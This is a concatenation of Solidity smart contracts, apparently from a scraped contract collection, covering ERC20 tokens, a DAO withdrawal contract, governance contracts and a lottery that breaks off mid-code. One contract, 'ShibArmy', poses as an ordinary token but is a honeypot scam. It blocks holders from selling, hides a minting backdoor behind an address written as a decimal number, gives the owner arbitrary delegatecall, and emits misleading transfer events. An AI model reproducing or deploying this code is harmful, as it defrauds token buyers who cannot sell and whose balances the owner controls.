pragma solidity ^0.4.20; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ERC20Token is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function ERC20Token( ) { balances[msg.sender] = 10000000; totalSupply = 10000000; name = "Surfing USA Prize Token"; decimals = 1; symbol = "PRIZE"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
3,696
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ShibArmy{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
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1,636
pragma solidity ^0.4.24; contract ERC20Simple { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract CRNToken is ERC20Simple { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract FLXCoin is CRNToken { event Burn(address indexed burner, uint256 value); string public name = "FLX Coin"; string public symbol = "FLX"; uint8 public decimals = 2; uint public INITIAL_SUPPLY = 1000000000000; function burn(uint256 _value) public { _burn(msg.sender, _value); } constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } }
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pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract DemoTokenMintable is MintableToken { string public name = "Kremlin"; string public symbol = "KRM"; uint256 public decimals = 18; }
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contract DAO { function balanceOf(address addr) returns (uint); function transferFrom(address from, address to, uint balance) returns (bool); uint public totalSupply; } contract WithdrawDAO { DAO constant public mainDAO = DAO(0x492ea3bb0f3315521c31f273e565b868fc090f17); address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526; function withdraw(){ uint balance = mainDAO.balanceOf(msg.sender); if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance)) throw; } function trusteeWithdraw() { trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply()); } }
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pragma solidity ^0.4.25; contract Approvable { mapping(address => bool) public approved; constructor () public { approved[msg.sender] = true; } function approve(address _address) public onlyApproved { require(_address != address(0)); approved[_address] = true; } function revokeApproval(address _address) public onlyApproved { require(_address != address(0)); approved[_address] = false; } modifier onlyApproved() { require(approved[msg.sender]); _; } } contract DIDToken is Approvable { using SafeMath for uint256; event LogIssueDID(address indexed to, uint256 numDID); event LogDecrementDID(address indexed to, uint256 numDID); event LogExchangeDIDForEther(address indexed to, uint256 numDID); event LogInvestEtherForDID(address indexed to, uint256 numWei); address[] public DIDHoldersArray; address public PullRequestsAddress; address public DistenseAddress; uint256 public investmentLimitAggregate = 100000 ether; uint256 public investmentLimitAddress = 100 ether; uint256 public investedAggregate = 1 ether; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; struct DIDHolder { uint256 balance; uint256 netContributionsDID; uint256 DIDHoldersIndex; uint256 weiInvested; uint256 tasksCompleted; } mapping (address => DIDHolder) public DIDHolders; constructor () public { name = "Distense DID"; symbol = "DID"; totalSupply = 0; decimals = 18; } function issueDID(address _recipient, uint256 _numDID) public onlyApproved returns (bool) { require(_recipient != address(0)); require(_numDID > 0); _numDID = _numDID * 1 ether; totalSupply = SafeMath.add(totalSupply, _numDID); uint256 balance = DIDHolders[_recipient].balance; DIDHolders[_recipient].balance = SafeMath.add(balance, _numDID); if (DIDHolders[_recipient].DIDHoldersIndex == 0) { uint256 index = DIDHoldersArray.push(_recipient) - 1; DIDHolders[_recipient].DIDHoldersIndex = index; } emit LogIssueDID(_recipient, _numDID); return true; } function decrementDID(address _address, uint256 _numDID) external onlyApproved returns (uint256) { require(_address != address(0)); require(_numDID > 0); uint256 numDID = _numDID * 1 ether; require(SafeMath.sub(DIDHolders[_address].balance, numDID) >= 0); require(SafeMath.sub(totalSupply, numDID ) >= 0); totalSupply = SafeMath.sub(totalSupply, numDID); DIDHolders[_address].balance = SafeMath.sub(DIDHolders[_address].balance, numDID); if (DIDHolders[_address].balance == 0) { deleteDIDHolderWhenBalanceZero(_address); } emit LogDecrementDID(_address, numDID); return DIDHolders[_address].balance; } function exchangeDIDForEther(uint256 _numDIDToExchange) external returns (uint256) { uint256 numDIDToExchange = _numDIDToExchange * 1 ether; uint256 netContributionsDID = getNumContributionsDID(msg.sender); require(netContributionsDID >= numDIDToExchange); Distense distense = Distense(DistenseAddress); uint256 DIDPerEther = distense.getParameterValueByTitle(distense.didPerEtherParameterTitle()); require(numDIDToExchange < totalSupply); uint256 numWeiToIssue = calculateNumWeiToIssue(numDIDToExchange, DIDPerEther); address contractAddress = this; require(contractAddress.balance >= numWeiToIssue, "DIDToken contract must have sufficient wei"); DIDHolders[msg.sender].balance = SafeMath.sub(DIDHolders[msg.sender].balance, numDIDToExchange); DIDHolders[msg.sender].netContributionsDID = SafeMath.sub(DIDHolders[msg.sender].netContributionsDID, numDIDToExchange); totalSupply = SafeMath.sub(totalSupply, numDIDToExchange); msg.sender.transfer(numWeiToIssue); if (DIDHolders[msg.sender].balance == 0) { deleteDIDHolderWhenBalanceZero(msg.sender); } emit LogExchangeDIDForEther(msg.sender, numDIDToExchange); return DIDHolders[msg.sender].balance; } function investEtherForDID() external payable returns (uint256) { require(getNumWeiAddressMayInvest(msg.sender) >= msg.value); require(investedAggregate < investmentLimitAggregate); Distense distense = Distense(DistenseAddress); uint256 DIDPerEther = SafeMath.div(distense.getParameterValueByTitle(distense.didPerEtherParameterTitle()), 1 ether); uint256 numDIDToIssue = calculateNumDIDToIssue(msg.value, DIDPerEther); require(DIDHolders[msg.sender].netContributionsDID >= numDIDToIssue); totalSupply = SafeMath.add(totalSupply, numDIDToIssue); DIDHolders[msg.sender].balance = SafeMath.add(DIDHolders[msg.sender].balance, numDIDToIssue); DIDHolders[msg.sender].netContributionsDID = SafeMath.sub(DIDHolders[msg.sender].netContributionsDID, numDIDToIssue); DIDHolders[msg.sender].weiInvested += msg.value; investedAggregate = investedAggregate + msg.value; emit LogIssueDID(msg.sender, numDIDToIssue); emit LogInvestEtherForDID(msg.sender, msg.value); return DIDHolders[msg.sender].balance; } function incrementDIDFromContributions(address _contributor, uint256 _reward) onlyApproved public { uint256 weiReward = _reward * 1 ether; DIDHolders[_contributor].netContributionsDID = SafeMath.add(DIDHolders[_contributor].netContributionsDID, weiReward); } function incrementTasksCompleted(address _contributor) onlyApproved public returns (bool) { DIDHolders[_contributor].tasksCompleted++; return true; } function pctDIDOwned(address _address) external view returns (uint256) { return SafeMath.percent(DIDHolders[_address].balance, totalSupply, 20); } function getNumWeiAddressMayInvest(address _contributor) public view returns (uint256) { uint256 DIDFromContributions = DIDHolders[_contributor].netContributionsDID; require(DIDFromContributions > 0); uint256 netUninvestedEther = SafeMath.sub(investmentLimitAddress, DIDHolders[_contributor].weiInvested); require(netUninvestedEther > 0); Distense distense = Distense(DistenseAddress); uint256 DIDPerEther = distense.getParameterValueByTitle(distense.didPerEtherParameterTitle()); return (DIDFromContributions * 1 ether) / DIDPerEther; } function rewardContributor(address _contributor, uint256 _reward) external onlyApproved returns (bool) { uint256 reward = SafeMath.div(_reward, 1 ether); bool issued = issueDID(_contributor, reward); if (issued) incrementDIDFromContributions(_contributor, reward); incrementTasksCompleted(_contributor); } function getWeiAggregateMayInvest() public view returns (uint256) { return SafeMath.sub(investmentLimitAggregate, investedAggregate); } function getNumDIDHolders() external view returns (uint256) { return DIDHoldersArray.length; } function getAddressBalance(address _address) public view returns (uint256) { return DIDHolders[_address].balance; } function getNumContributionsDID(address _address) public view returns (uint256) { return DIDHolders[_address].netContributionsDID; } function getWeiInvested(address _address) public view returns (uint256) { return DIDHolders[_address].weiInvested; } function calculateNumDIDToIssue(uint256 msgValue, uint256 DIDPerEther) public pure returns (uint256) { return SafeMath.mul(msgValue, DIDPerEther); } function calculateNumWeiToIssue(uint256 _numDIDToExchange, uint256 _DIDPerEther) public pure returns (uint256) { _numDIDToExchange = _numDIDToExchange * 1 ether; return SafeMath.div(_numDIDToExchange, _DIDPerEther); } function deleteDIDHolderWhenBalanceZero(address holder) internal { if (DIDHoldersArray.length > 1) { address lastElement = DIDHoldersArray[DIDHoldersArray.length - 1]; DIDHoldersArray[DIDHolders[holder].DIDHoldersIndex] = lastElement; DIDHoldersArray.length--; delete DIDHolders[holder]; } } function deleteDIDHolder(address holder) public onlyApproved { if (DIDHoldersArray.length > 1) { address lastElement = DIDHoldersArray[DIDHoldersArray.length - 1]; DIDHoldersArray[DIDHolders[holder].DIDHoldersIndex] = lastElement; DIDHoldersArray.length--; delete DIDHolders[holder]; } } function setDistenseAddress(address _distenseAddress) onlyApproved public { DistenseAddress = _distenseAddress; } } contract Distense is Approvable { using SafeMath for uint256; address public DIDTokenAddress; bytes32[] public parameterTitles; struct Parameter { bytes32 title; uint256 value; mapping(address => Vote) votes; } struct Vote { address voter; uint256 lastVoted; } mapping(bytes32 => Parameter) public parameters; Parameter public votingIntervalParameter; bytes32 public votingIntervalParameterTitle = 'votingInterval'; Parameter public pctDIDToDetermineTaskRewardParameter; bytes32 public pctDIDToDetermineTaskRewardParameterTitle = 'pctDIDToDetermineTaskReward'; Parameter public pctDIDRequiredToMergePullRequest; bytes32 public pctDIDRequiredToMergePullRequestTitle = 'pctDIDRequiredToMergePullRequest'; Parameter public maxRewardParameter; bytes32 public maxRewardParameterTitle = 'maxReward'; Parameter public numDIDRequiredToApproveVotePullRequestParameter; bytes32 public numDIDRequiredToApproveVotePullRequestParameterTitle = 'numDIDReqApproveVotePullRequest'; Parameter public numDIDRequiredToTaskRewardVoteParameter; bytes32 public numDIDRequiredToTaskRewardVoteParameterTitle = 'numDIDRequiredToTaskRewardVote'; Parameter public minNumberOfTaskRewardVotersParameter; bytes32 public minNumberOfTaskRewardVotersParameterTitle = 'minNumberOfTaskRewardVoters'; Parameter public numDIDRequiredToAddTaskParameter; bytes32 public numDIDRequiredToAddTaskParameterTitle = 'numDIDRequiredToAddTask'; Parameter public defaultRewardParameter; bytes32 public defaultRewardParameterTitle = 'defaultReward'; Parameter public didPerEtherParameter; bytes32 public didPerEtherParameterTitle = 'didPerEther'; Parameter public votingPowerLimitParameter; bytes32 public votingPowerLimitParameterTitle = 'votingPowerLimit'; event LogParameterValueUpdate(bytes32 title, uint256 value); constructor (address _DIDTokenAddress) public { DIDTokenAddress = _DIDTokenAddress; pctDIDToDetermineTaskRewardParameter = Parameter({ title : pctDIDToDetermineTaskRewardParameterTitle, value: 15 * 1 ether }); parameters[pctDIDToDetermineTaskRewardParameterTitle] = pctDIDToDetermineTaskRewardParameter; parameterTitles.push(pctDIDToDetermineTaskRewardParameterTitle); pctDIDRequiredToMergePullRequest = Parameter({ title : pctDIDRequiredToMergePullRequestTitle, value: 10 * 1 ether }); parameters[pctDIDRequiredToMergePullRequestTitle] = pctDIDRequiredToMergePullRequest; parameterTitles.push(pctDIDRequiredToMergePullRequestTitle); votingIntervalParameter = Parameter({ title : votingIntervalParameterTitle, value: 1296000 * 1 ether }); parameters[votingIntervalParameterTitle] = votingIntervalParameter; parameterTitles.push(votingIntervalParameterTitle); maxRewardParameter = Parameter({ title : maxRewardParameterTitle, value: 2000 * 1 ether }); parameters[maxRewardParameterTitle] = maxRewardParameter; parameterTitles.push(maxRewardParameterTitle); numDIDRequiredToApproveVotePullRequestParameter = Parameter({ title : numDIDRequiredToApproveVotePullRequestParameterTitle, value: 100 * 1 ether }); parameters[numDIDRequiredToApproveVotePullRequestParameterTitle] = numDIDRequiredToApproveVotePullRequestParameter; parameterTitles.push(numDIDRequiredToApproveVotePullRequestParameterTitle); numDIDRequiredToTaskRewardVoteParameter = Parameter({ title : numDIDRequiredToTaskRewardVoteParameterTitle, value: 100 * 1 ether }); parameters[numDIDRequiredToTaskRewardVoteParameterTitle] = numDIDRequiredToTaskRewardVoteParameter; parameterTitles.push(numDIDRequiredToTaskRewardVoteParameterTitle); minNumberOfTaskRewardVotersParameter = Parameter({ title : minNumberOfTaskRewardVotersParameterTitle, value: 7 * 1 ether }); parameters[minNumberOfTaskRewardVotersParameterTitle] = minNumberOfTaskRewardVotersParameter; parameterTitles.push(minNumberOfTaskRewardVotersParameterTitle); numDIDRequiredToAddTaskParameter = Parameter({ title : numDIDRequiredToAddTaskParameterTitle, value: 100 * 1 ether }); parameters[numDIDRequiredToAddTaskParameterTitle] = numDIDRequiredToAddTaskParameter; parameterTitles.push(numDIDRequiredToAddTaskParameterTitle); defaultRewardParameter = Parameter({ title : defaultRewardParameterTitle, value: 100 * 1 ether }); parameters[defaultRewardParameterTitle] = defaultRewardParameter; parameterTitles.push(defaultRewardParameterTitle); didPerEtherParameter = Parameter({ title : didPerEtherParameterTitle, value: 200 * 1 ether }); parameters[didPerEtherParameterTitle] = didPerEtherParameter; parameterTitles.push(didPerEtherParameterTitle); votingPowerLimitParameter = Parameter({ title : votingPowerLimitParameterTitle, value: 20 * 1 ether }); parameters[votingPowerLimitParameterTitle] = votingPowerLimitParameter; parameterTitles.push(votingPowerLimitParameterTitle); } function getParameterValueByTitle(bytes32 _title) public view returns (uint256) { return parameters[_title].value; } function voteOnParameter(bytes32 _title, int256 _voteValue) public votingIntervalReached(msg.sender, _title) returns (uint256) { DIDToken didToken = DIDToken(DIDTokenAddress); uint256 votersDIDPercent = didToken.pctDIDOwned(msg.sender); require(votersDIDPercent > 0); uint256 currentValue = getParameterValueByTitle(_title); uint256 votingPowerLimit = getParameterValueByTitle(votingPowerLimitParameterTitle); uint256 limitedVotingPower = votersDIDPercent > votingPowerLimit ? votingPowerLimit : votersDIDPercent; uint256 update; if ( _voteValue == 1 || _voteValue == - 1 || _voteValue > int(limitedVotingPower) || _voteValue < - int(limitedVotingPower) ) { update = (limitedVotingPower * currentValue) / (100 * 1 ether); } else if (_voteValue > 0) { update = SafeMath.div((uint(_voteValue) * currentValue), (1 ether * 100)); } else if (_voteValue < 0) { int256 adjustedVoteValue = (-_voteValue); update = uint((adjustedVoteValue * int(currentValue))) / (100 * 1 ether); } else revert(); if (_voteValue > 0) currentValue = SafeMath.add(currentValue, update); else currentValue = SafeMath.sub(currentValue, update); updateParameterValue(_title, currentValue); updateLastVotedOnParameter(_title, msg.sender); emit LogParameterValueUpdate(_title, currentValue); return currentValue; } function getParameterByTitle(bytes32 _title) public view returns (bytes32, uint256) { Parameter memory param = parameters[_title]; return (param.title, param.value); } function getNumParameters() public view returns (uint256) { return parameterTitles.length; } function updateParameterValue(bytes32 _title, uint256 _newValue) internal returns (uint256) { Parameter storage parameter = parameters[_title]; parameter.value = _newValue; return parameter.value; } function updateLastVotedOnParameter(bytes32 _title, address voter) internal returns (bool) { Parameter storage parameter = parameters[_title]; parameter.votes[voter].lastVoted = now; } function setDIDTokenAddress(address _didTokenAddress) public onlyApproved { DIDTokenAddress = _didTokenAddress; } modifier votingIntervalReached(address _voter, bytes32 _title) { Parameter storage parameter = parameters[_title]; uint256 lastVotedOnParameter = parameter.votes[_voter].lastVoted * 1 ether; require((now * 1 ether) >= lastVotedOnParameter + getParameterValueByTitle(votingIntervalParameterTitle)); _; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function percent(uint numerator, uint denominator, uint precision) public pure returns(uint quotient) { uint _numerator = numerator * 10 ** (precision + 1); uint _quotient = ((_numerator / denominator) + 5) / 10; return _quotient; } }
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pragma solidity 0.4.25; interface IERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } contract LotteryTicket { address owner; string public constant name = "LotteryTicket"; string public constant symbol = "✓"; event Transfer(address indexed from, address indexed to, uint256 value); constructor() public { owner = msg.sender; } function emitEvent(address addr) public { require(msg.sender == owner); emit Transfer(msg.sender, addr, 1); } } contract WinnerTicket { address owner; string public constant name = "WinnerTicket"; string public constant symbol = "✓"; event Transfer(address indexed from, address indexed to, uint256 value); constructor() public { owner = msg.sender; } function emitEvent(address addr) public { require(msg.sender == owner); emit Transfer(msg.sender, addr, 1); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Storage { address owner; mapping (address => uint256) public amount; mapping (uint256 => address[]) public level; uint256 public count; uint256 public maximum; constructor() public { owner = msg.sender; } function purchase(address addr) public { require(msg.sender == owner); amount[addr]++; if (amount[addr] > 1) { level[amount[addr]].push(addr); if (amount[addr] > 2) { for (uint256 i = 0; i < level[amount[addr] - 1].length; i++) { if (level[amount[addr] - 1][i] == addr) { delete level[amount[addr] - 1][i]; break; } } } else if (amount[addr] == 2) { count++; } if (amount[addr] > maximum) { maximum = amount[addr]; } } } function draw(uint256 goldenWinners) public view returns(address[] addresses) { addresses = new address[](goldenWinners); uint256 winnersCount; for (uint256 i = maximum; i 